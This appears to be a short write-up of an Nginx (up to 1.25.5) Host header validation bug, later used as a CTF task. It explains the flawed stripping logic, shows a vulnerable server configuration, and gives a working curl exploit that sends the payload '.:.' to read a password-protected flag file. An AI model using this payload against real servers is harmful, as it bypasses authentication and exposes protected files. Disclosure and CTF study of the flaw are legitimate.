Nginx 1.25.5 Host Header Validation

# Nginx =< 1.25.5 $host variable validation bug## Intro:In the "Host" header sent to Nginx web server you can't just insert a dot or something like that, because a filtering rules exists there. The ngx_http_validate_host function is responsible for filtering (https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.c#L2145).## What it validates:+ two dots in a row are not allowed+ colon and everything after it are stripped off+ if "Host" header starts with "[", then after "]" everything is deleted+ path separators are not allowed+ cannot send chars ≤ 0x20 and == 0x7f+ if there is a dot at the end, it is removed+ if after all deletions the host length is zero, error occurs## The bug itself: dot_pos can be greater than host_len, if the last dot is included in the strip, then the last unstripped character (first dot in this case) is not deleted.So, if "Host" header payload is .:. , the colon and dot after it are stripped, but the first dot remains untouched and Nginx $host variable now contains only single dot character, what can't be done in the normal conditions.## Vulnerable Nginx server configuration example:server { root /sites/$host; index index.html; server_name _; location / { try_files $uri $uri/ =404; }}server { server_name ""; location / { return 418 "I'm a teapot."; }}server { root /sites/protected-host.example.com; index flag.html; server_name protected-host.example.com; auth_basic "Protected File Storage"; auth_basic_user_file /.htpasswd; location / { try_files $uri $uri/ =404; }}## Exploit (unauthorized access to password-protected host in this case):curl -H "Host: .:." http://protected-host.example.com/protected-host.example.com/flag.htmlP.S.The bug was sent to [email protected], but the Nginx dev team said that ngx_http_validate_host function is a filter against fools and not a security bug at all, so it was decided to make it as a task on CTF Tinkoff contest.